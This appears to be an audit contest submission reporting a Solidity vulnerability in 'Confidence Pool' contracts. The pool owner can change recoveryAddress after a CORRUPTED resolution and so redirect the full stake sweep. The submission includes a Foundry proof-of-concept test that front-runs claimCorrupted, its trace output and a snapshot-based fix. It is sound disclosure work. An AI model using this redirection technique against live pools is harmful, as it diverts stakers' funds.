BattleChain Confidence Pools
Cyfrin
FoundrySolidityLayer 2
7.25 ETH
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: medium

recoveryAddress is unsnapshotted and unconditionally owner-mutable, letting the sponsor redirect the entire CORRUPTED-path sweep after resolution

Author Revealed upon completion

Root + Impact

Description

  • recoveryAddress is the destination for every CORRUPTED-path fund movement: the full bad-faith sweep (claimCorrupted), the unclaimed remainder of a good-faith bounty after the 180-day claim window (sweepUnclaimedCorrupted), and unclaimed bonus dust under SURVIVED/EXPIRED (sweepUnclaimedBonus). Two other sponsor-controlled parameters with comparable staker impact — expiry and pool scope — are each protected by a one-way latch (expiryLocked, scopeLocked) that permanently freezes them once staker reliance begins (first stake / registry leaving pre-attack staging, respectively).

  • recoveryAddress has no equivalent latch, and — unlike attacker/bountyEntitlement, which are snapshotted at flagOutcome time specifically so the payout target can't be moved after resolution — every sweep function reads recoveryAddress live, at the moment of transfer. This means the pool owner can redirect the entire sweep destination at any time, including after the outcome has already been resolved to CORRUPTED and a sweep is imminent, with no on-chain mechanism giving stakers a chance to react.

// ConfidencePool.sol
function setRecoveryAddress(address newRecoveryAddress) external onlyOwner {
if (newRecoveryAddress == address(0)) revert InvalidRecoveryAddress();
address oldRecoveryAddress = recoveryAddress;
recoveryAddress = newRecoveryAddress; // @> no expiryLocked/scopeLocked/outcome/claimsStarted check of any kind
emit RecoveryAddressUpdated(oldRecoveryAddress, newRecoveryAddress);
}
​
function claimCorrupted() external nonReentrant {
if (outcome != PoolStates.Outcome.CORRUPTED) revert OutcomeNotSet();
if (goodFaith && bountyClaimed < bountyEntitlement) revert MustClaimBountyFirst();
uint256 toSweep = stakeToken.balanceOf(address(this));
if (toSweep == 0) revert NothingToSweep();
corruptedReserve = toSweep <= corruptedReserve ? corruptedReserve - toSweep : 0;
if (!goodFaith) bountyClaimed = bountyEntitlement;
if (!claimsStarted) claimsStarted = true;
stakeToken.safeTransfer(recoveryAddress, toSweep); // @> live read, not the value in place when flagOutcome ran
emit ClaimCorrupted(msg.sender, recoveryAddress, toSweep);
}

Compare to flagOutcome, which deliberately freezes the attacker/bounty target the moment CORRUPTED is flagged:

attacker = attacker_; // frozen at resolution
bountyEntitlement = willBeGoodFaithCorrupted ? snapshotTotalStaked + snapshotTotalBonus : 0; // frozen at resolution
// @> recoveryAddress gets no equivalent freeze anywhere in this function

Risk

Likelihood:

  • This requires only the pool's existing Ownable2Step owner (the sponsor who created the pool) to call one already-existing, correctly-permissioned function (setRecoveryAddress) they can call at any time in the pool's life — no exotic preconditions, no timing race against another actor, no reliance on a bug elsewhere. It fires whenever the sponsor chooses to call it before a pending sweep executes.

  • claimCorrupted, sweepUnclaimedCorrupted, and sweepUnclaimedBonus are all permissionless, so any third party's routine cleanup transaction sitting in the mempool is a visible target: the sponsor calls setRecoveryAddress first (or bundles it via a contract wallet) so their transaction is mined before the sweep, at zero cost beyond one function call's gas.

  • A one-time key compromise of the sponsor's address is sufficient at any point during the pool's lifetime, not only at creation, since the lever stays live for as long as the pool holds a balance destined for CORRUPTED-path resolution.

Impact:

  • Complete redirection of stakers' principal and bonus away from the recovery address they verified before depositing, with no way for stakers to contest or exit it: withdraw() is already permanently disabled by the time CORRUPTED is reachable (riskWindowStart != 0 is a precondition for CORRUPTED, and the same flag latches withdraw shut), so there is no defensive action available even though RecoveryAddressUpdated is emitted on-chain.

  • Applies to every dollar destined for recoveryAddress across all three CORRUPTED/cleanup paths, not a bounded subset — the bad-faith full-pool sweep, the good-faith unclaimed remainder (up to the full 180-day claim window), and residual bonus dust are all exposed identically.

Proof of Concept

Run RecoveryAddressFrontRun.t.sol:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
​
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
​
contract X2RecoveryAddressFrontRun is BaseConfidencePoolTest {
function test_ownerRedirectsRecoverySweep_afterBadFaithCorruptedFlagged() public {
_stake(alice, 1_000 * ONE);
_stake(bob, 1_000 * ONE);
uint256 poolTotal = token.balanceOf(address(pool));
assertEq(poolTotal, 2_000 * ONE);
assertEq(pool.recoveryAddress(), recovery);
​
_passThroughUnderAttack();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
​
// Sponsor front-runs the imminent, permissionless sweep.
address evilRecovery = makeAddr("evilRecovery");
pool.setRecoveryAddress(evilRecovery);
​
// A third party's routine cleanup call now pays the sponsor's new address.
vm.prank(dave);
pool.claimCorrupted();
​
assertEq(token.balanceOf(evilRecovery), poolTotal);
assertEq(token.balanceOf(recovery), 0);
assertEq(token.balanceOf(address(pool)), 0);
}
}

Run:

forge test --match-contract X2RecoveryAddressFrontRun -vvvv

Actual output against the in-scope contracts at the audited commit:

Ran 1 test for test/unit/PoC.X2.RecoveryAddressFrontRun.t.sol:X2RecoveryAddressFrontRun
[PASS] test_ownerRedirectsRecoverySweep_afterBadFaithCorruptedFlagged() (gas: 565781)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.14ms (579.27µs CPU time)

Load-bearing excerpt from the -vvvv trace — the setRecoveryAddress call lands after OutcomeFlagged, and claimCorrupted's Transfer/ClaimCorrupted events pay the new address, not the one stakers saw at deposit time:

├─ ConfidencePool::flagOutcome(2, false, 0x000...000) // moderator flags bad-faith CORRUPTED; pool now destined for `recoveryAddress`
│ └─ emit OutcomeFlagged(moderator, outcome: 2, goodFaith: false, attacker: 0x0)
├─ ConfidencePool::setRecoveryAddress(evilRecovery) // sponsor front-runs the pending sweep — no lock stops this post-resolution
│ └─ emit RecoveryAddressUpdated(oldAddr: recovery, newAddr: evilRecovery)
├─ ConfidencePool::claimCorrupted() // permissionless cleanup call, made by `dave`, a third party
│ ├─ MockERC20::transfer(evilRecovery, 2000000000000000000000 [2e21]) // full pool balance pays the NEW address, not the one stakers saw
│ └─ emit ClaimCorrupted(caller: dave, recoveryAddress: evilRecovery, amount: 2e21)
├─ MockERC20::balanceOf(evilRecovery) → 2000000000000000000000 [2e21] // sponsor-redirected address received the entire pool
└─ MockERC20::balanceOf(recovery) → 0 // original recovery address got nothing

Recommended Mitigation

Freeze recoveryAddress at the moment the outcome resolves to CORRUPTED, mirroring how attacker/bountyEntitlement are already snapshotted in the same function — sweep functions should pay the frozen value, not the live storage slot:

address public recoveryAddress;
+ address public resolvedRecoveryAddress;
...
function flagOutcome(PoolStates.Outcome newOutcome, bool goodFaith_, address attacker_) external onlyModerator {
...
corruptedReserve = newOutcome == PoolStates.Outcome.CORRUPTED ? snapshotTotalStaked + snapshotTotalBonus : 0;
+ if (newOutcome == PoolStates.Outcome.CORRUPTED) {
+ resolvedRecoveryAddress = recoveryAddress;
+ }
...
}
​
function claimCorrupted() external nonReentrant {
...
- stakeToken.safeTransfer(recoveryAddress, toSweep);
- emit ClaimCorrupted(msg.sender, recoveryAddress, toSweep);
+ stakeToken.safeTransfer(resolvedRecoveryAddress, toSweep);
+ emit ClaimCorrupted(msg.sender, resolvedRecoveryAddress, toSweep);
}

Apply the same substitution in sweepUnclaimedCorrupted. sweepUnclaimedBonus (SURVIVED/EXPIRED path) would need its own resolution-time snapshot, taken wherever outcome is first set to SURVIVED/EXPIRED (flagOutcome and claimExpired), for the same reason. A lighter-weight alternative — if freezing is judged too disruptive to the sponsor's legitimate need to update recoveryAddress pre-resolution — is a timelock on setRecoveryAddress (e.g. a minimum delay between the call and its effect) long enough for stakers to observe and react before it applies to a pending or future sweep.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!